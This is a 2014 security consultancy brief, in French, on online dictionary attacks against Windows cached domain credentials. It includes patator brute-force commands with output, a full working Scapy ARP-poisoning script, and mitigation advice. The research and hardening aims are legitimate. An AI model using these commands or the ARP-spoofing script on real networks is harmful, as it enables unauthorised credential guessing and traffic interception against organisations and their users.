HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > Attaque en ligne du cache d'identification Windows
Accéder au : Site HSC des formations
Télécharger le catalogue des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|Attaque en ligne du cache d'identification Windows  

par Rémi Chauchat (19/11/2014)


----------[ Attaque en ligne du cache d'identification Windows ]----------------

--[ 1. Introduction ]-----------------------------------------------------------

Le cache des identifiants de connexion (cached credentials[1]) de Windows, nommé
MsCache dans cette brève, permet de stocker un condensat du couple nom
d'utilisateur/mot de passe d'un domaine dans le registre Windows après une
authentification réussie avec ledit compte. Cette fonctionnalité assure
notamment qu'un utilisateur d'un domaine puisse se connecter sur son poste même
lorsque ce dernier ne peut pas contacter un serveur d'authentification (cas
classique d'un poste nomade par exemple).

Par défaut les différentes versions de Windows enregistrent les 10 dernières
authentifications réussies, excepté Windows 2008 qui stocke les 25 dernières[2].

Le présent document résulte des recherches réalisées sur une attaque en ligne
du cache MsCache d'un poste Windows associé à un domaine.



--[ 2. Attaque en ligne ]-------------------------------------------------------

L'ensemble de l'étude part du principe que le poste ciblé ne peut plus contacter
le serveur d'authentification :
- le poste est connecté à un réseau tiers (réseau à la maison, Wi-Fi ouvert,
  etc.) ;
- le poste est connecté dans le réseau d'entreprise mais ne peut plus communiquer
  avec l'AD (panne du serveur/pas de redondance, interception de trafic par un
  attaquant).

Un exemple d'attaque par empoisonnement ARP, visant à deconnecter le poste de
l'AD, est présenté dans la partie 3 ci-après.

Les points étudiés dans cette situation sont les suivants :
 - application de la politique de blocage de compte ;
 - traces de l'attaque dans les logs ;
 - recherche d'informations annexes.



----[ 2.1 Laboratoire ]---------------------------------------------------------

Le laboratoire de tests est assez simple à mettre en place :
 - configuration d'un serveur AD Windows
   - création d'un domaine
   - création d'un compte de test dans le domaine
   - création d'une politique de sécurité afin de bloquer le compte après 5
     tentatives d'authentification infructueuses (choix arbitraire)
 - configuration d'un poste client dans le domaine créé
 - authentification sur le poste client avec le compte du domaine de test
 - coupure du serveur AD

 +----[ Lab ]---------------+
 |                          |
 |  Attaquant               |
 |    ||                    |
 |    \/                    |
 |  Client  <----X----> AD  |
 |                          |
 +--------------------------+

A partir de cet état, nous pouvons lancer des attaques par dictionnaire sur le
client. Ce dernier ne pouvant plus communiquer avec l'AD, commutera sur son
cache MsCache.



----[ 2.2 Recherche de compte ]-------------------------------------------------

Nous réaliserons les tests avec l'outil patator[3]. Un avantage particulier de
cet outil est l'affichage de la réponse de la cible pour chaque requête envoyée.

La commande principale sera la suivante :
$ python patator.py smb_login host=10.0.0.101 domain=LAB user=<username> password=<password>

Avant même de rechercher le mot de passe d'un compte en attaquant le MsCache, il
est utile d'avoir le ou les noms d'utilisateurs enregistrés dans le cache
Windows. Lors des tests effectués en laboratoire, on peut distinguer différents
messages retournés par la cible lors d'une attaque :
 - NO_LOGON_SERVER : aucun serveur d'authentification n'est accessible
 - LOGON_FAILURE : l'authentification a échoué
 - SUCCESS : l'authentification a réussi

Le message NO_LOGON_SERVER est intéressant puisqu'il indique que le poste n'a
pas été capable de tester l'authentification, à l'inverse des deux autres
messages. Cette réponse correspond donc à l'absence du compte utilisateur dans
le MsCache.
Une recherche basée sur un dictionnaire orienté noms d'utilisateurs
peut alors être réalisée :

$ python patator.py smb_login host=10.0.0.10 domain=LAB user=FILE0 password=mot_de_passe_forcement_incorrect 0=logins.txt -x ignore:fgrep=NO_LOGON_SERVER
[...]
12:16:06 patator    INFO - c000006d 20    0.095 | administrateur                     |   628 | STATUS_LOGON_FAILURE
[...]
12:27:46 patator    INFO - c000006d 20    0.085 | test                               | 55452 | STATUS_LOGON_FAILURE
[...]

Dans notre laboratoire, deux comptes, présents dans le dictionnaire, sont donc
enregistrés dans le cache MsCache : administrateur et test.



----[ 2.3 Blocage de compte ]---------------------------------------------------

Une fois une liste des comptes construite, il parait opportun de rechercher leur
mot de passe respectif, et par la même de vérifier si le blocage de compte
initialement configuré dans les politiques du domaine s'applique ou non sur le
système MsCache.

Pour ce test, on utilisera :
 - Un fichier contenant les utilisateurs découverts précédemment
 $ cat logins.txt
 administrateur
 test

 - Un fichier de 1000 mots de passe. Pour les besoins du test, les mots de passe
   des comptes trouvés sont placés en fin de fichier :
 $ wc -l dico.txt && tail -n 2 dico.txt
 1000 dico.txt
 Bonjour123!
 Soleil123!


$ python patator.py smb_login host=10.0.0.101 user=FILE0 password=FILE1 domain=LAB 0=logins.txt 1=dico_pwd.txt -x ignore:fgrep=LOGON_FAILURE
[...]
14:30:54 patator    INFO - 0        55    0.150 | administrateur:Bonjour123!            |   999 | LAB\HSC-PC (Windows 7 Professional 7601 Service Pack 1)
14:31:09 patator    INFO - 0        55    0.137 | test:Soleil123!                       |  2000 | LAB\HSC-PC (Windows 7 Professional 7601 Service Pack 1)

Les mots de passe des comptes administrateur et test sont bien validés après
respectivement 998 et 999 échecs. La politique de blocage des comptes après 5
échecs n'est donc plus appliquée lorsque la cible fonctionne avec le MsCache.

Afin de compléter ce test, en rendant le serveur AD de nouveau accessible (on
réalise une authentification avec un autre compte du domaine pour forcer la
communication avec le serveur AD), aucun transfert d'informations concernant les
tentatives infructueuses d'authentification des deux comptes n'est observé.
Les deux comptes ne seront donc pas bloqués, même après un retour à la normale
du mode d'authentification de la cible.


Un autre comportement intéressant a pu être observé, dans la même logique de
dé-synchronisation des informations entre le serveur AD et les différents
clients.
La modification du statut d'un utilisateur effectuée sur l'AD ne se déploie pas
sur les machines du domaine, elle n'est transmise à une cible que lors d'une
tentative d'authentification de cet utilisateur depuis ladite cible.

Ainsi, un compte qui serait verrouillé ou désactivé sur un AD n'entraine pas sa
suppression du cache MsCache des machines du domaine et n'empêche donc pas
l'attaque par dictionnaire du mot de passe du compte. L'intérêt est bien
évidemment moindre si le compte ciblé est définitivement verrouillé ou
désactivé, on peut néanmoins imaginer des comptes qui seraient activés
uniquement lorsque nécessaire (compte activé pour des prestataires externes en
mission par exemple).



----[ 2.4 Journaux d'événements ]-----------------------------------------------

Pour poursuivre notre étude, il reste à vérifier les traces résiduelles de notre
attaque (outre le potentiel bruit généré par la coupure forcée entre le serveur
AD et la cible).  La question réside dans le fait d'enregistrer ou non dans les
journaux d'événements Windows les tentatives d'attaque.
Les comptes enregistrés dans le MsCache ne sont pas des comptes locaux. Ainsi
en comportement normal, les tentatives de connexion avec ces comptes devraient
se retrouver dans les journaux d'événements du serveur d'authentification
(serveur AD) et non sur le poste local.  C'est pour cela qu'en comportement par
défaut, aucun de nos tests (échecs et succès) n'est enregistré sur la machine
cible.

Hors bruit sur le réseau, l'attaque en elle-même n'est pas vue sur la cible.

L'enregistrement peut néanmoins être activé avec la stratégie locale suivante :
 Stratégie d'audit > Auditer les évènements de connexion
   -> cocher "Echec" et "Succès"

* Ne pas confondre avec la stratégie "Auditer les événements de connexion aux
  comptes" qui ne traite que les comptes locaux



--[ 3. Interception de trafic en LAN ]------------------------------------------

Plusieurs cas d'architecture sont possibles, mais de manière générale,
l'interception souhaitée est réalisée entre la cible et le dernier élément du
LAN : serveur d'authentification ou passerelle par défaut si l'AD n'est pas sur
le même LAN.


 +---[ LAN ]----------------------------+
 |                                      |
 | Cible <------> Attaquant <------> AD |
 |                                      |
 +--------------------------------------+


 +---[ LAN bureautique ]----------------+---[ LAN Services ]-+
 |                                      |                    |
 | Cible <------> Attaquant <------> Gateway <------> AD     |
 |                                      |                    |
 +--------------------------------------+--------------------+

Le script Python suivant, basé sur la bibliothèque Scapy, permet de mettre en
place un empoisonnement des tables ARP des deux parties :

<<Fichier: apate.py>>

from scapy.all import *
from scapy import *
from threading import Thread, active_count
from time import sleep

program_running=  True

def getMAC(ip):
  ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3, verbose=False)
  for s,r in ans:
    return r[Ether].src

def poison(gw_as_ip, victim_ip, gw_as_mac, victim_mac):
  while program_running:
    try:
      send(ARP(op=2, pdst=victim_ip, psrc=gw_as_ip, hwdst=victim_mac), verbose=False)
      send(ARP(op=2, pdst=gw_as_ip, psrc=victim_ip, hwdst=gw_as_mac), verbose=False)
      time.sleep(2)
    except Exception:
      continue

def restore(gw_as_ip, victim_ip, gw_as_mac, victim_mac):
  send(ARP(op=2, pdst=gw_as_ip, psrc=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim_mac), count=3, verbose=False)
  send(ARP(op=2, pdst=victim_ip, psrc=gw_as_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gw_as_mac), count=3, verbose=False)


if __name__ == '__main__':
  victim_ip = '10.0.0.101'
  gw_as_ip = '10.0.0.2'

  victim_mac = getMAC(victim_ip)
  gw_as_mac = getMAC(gw_as_ip)

  try:
    poisonT = Thread(target=poison, args=(gw_as_ip, victim_ip, gw_as_mac, victim_mac), kwargs=None)
    poisonT.setDaemon(True)
    poisonT.start()

    print 'ARP-poisoning is running...'
    while active_count() > 1:
      sleep(2)
  except KeyboardInterrupt:
    program_running = False
  print 'Restoring ARP...'
  restore(gw_as_ip, victim_ip, gw_as_mac, victim_mac)
<<EOF>>

$ sudo python apate.py
ARP-poisoning is running...
[...]
^C Restoring ARP...

L'empoisonnement des deux parties (victime et AD/GW) est nécessaire car si la
victime n'arrive pas à communiquer avec l'AD de façon classique, une requête
NetLogon sera diffusée sur le réseau à la recherche d'un AD accessible :

AD : 10.0.0.1
Victime : 10.0.0.101
Réseau : 10.0.0.0/24

+------------+-------------+----------+-----------------------------------------------------------------------+
| Source     | Destination | Proto    |  Détails                                                              |
+------------+-------------+----------+-----------------------------------------------------------------------+
| 10.0.0.101 | 10.0.0.255  | NetLogon | NetLogon:LogonSAMLogonRequest (SAM Logon Request from client)         |
| 10.0.0.1   | 10.0.0.101  | NetLogon | NetLogon:LogonSAMLogonResponseEX (SAM Response to SAM logon request)  |
+------------+-------------+----------+-----------------------------------------------------------------------+

L'AD répond à ce message de manière unidirectionnelle, d'où la possibilité et
l'intérêt d'intercepter cette réponse pour faire croire à la victime qu'aucun
AD n'est disponible.  La victime passe alors sur son mode d'authentification
locale : le MsCache.

Un moyen pratique permettant de s'en assurer pourrait être la détection du
délai attendu par la victime avant de considérer qu'aucun AD n'est joignable.
En effet, entre le moment où la victime croit pouvoir communiquer avec un AD et
celui où elle passe en mode d'authentification locale, le délai de réponse
d'une authentification passe de plusieurs secondes (10 à 15 secondes durant nos
tests) à un délai proche de nul.  Après avoir lancé l'attaque par
empoisonnement ARP, une tentative d'authentification SMB avec des identifiants
de connexion volontairement erronés peut être tentée afin de vérifier le
premier délai significatif :

$ python patator.py smb_login host=10.0.0.101 user=compte_bidon password=pass_bidon domain=LAB
[...]
15:23:25 patator    INFO - code     size   time | candidate                          |   num | mesg
15:23:25 patator    INFO - -----------------------------------------------------------------------------
15:23:39 patator    INFO - c000005e 23   14.295 |                                    |     1 | STATUS_NO_LOGON_SERVERS
15:23:39 patator    INFO - Hits/Done/Skip/Fail/Size: 1/1/0/0/1, Avg: 0 r/s, Time: 0h 0m 14s

La même tentative relancée ensuite permet de voir le délai quasi nul :

$ python patator.py smb_login host=10.0.0.101 user=compte_bidon password=pass_bidon domain=LAB
[...]
15:23:48 patator    INFO - code     size   time | candidate                          |   num | mesg
15:23:48 patator    INFO - -----------------------------------------------------------------------------
15:23:49 patator    INFO - c000005e 23    0.008 |                                    |     1 | STATUS_NO_LOGON_SERVERS
15:23:49 patator    INFO - Hits/Done/Skip/Fail/Size: 1/1/0/0/1, Avg: 4 r/s, Time: 0h 0m 0s



--[ 4. Quelques recommandations ]----------------------------------------------

- Diminuer le nombre d'enregistrements du MsCache, en modifiant la clé de
  registre HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon :
	-> 2 sont conseillés pour des postes utilisateur
	-> 0 si non nécessaire (serveurs par exemple)
- Laisser activé le pare-feu des postes utilisateurs ;
- Forcer une politique de mots de passe robustes pour les comptes sensibles ;
- Sensibiliser les utilisateurs à ne pas se connecter sur des réseaux qui ne
  sont pas de confiance ;
- Activer les journaux d'événements de connexions sur les postes du domaine (cf.
  2.4 Journaux d'événements) ;
- Centraliser et analyser les journaux d'événements.



--[ 5. Références ]-------------------------------------------------------------

[1] http://support2.microsoft.com/kb/913485/en-us
[2] http://support.microsoft.com/kb/911605
[3] http://www.hsc.fr/ressources/outils/patator/index.html


Dernière modification le 19 novembre 2014 à 17:30:29 CET - webmaster@hsc.fr
Mentions légales - Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants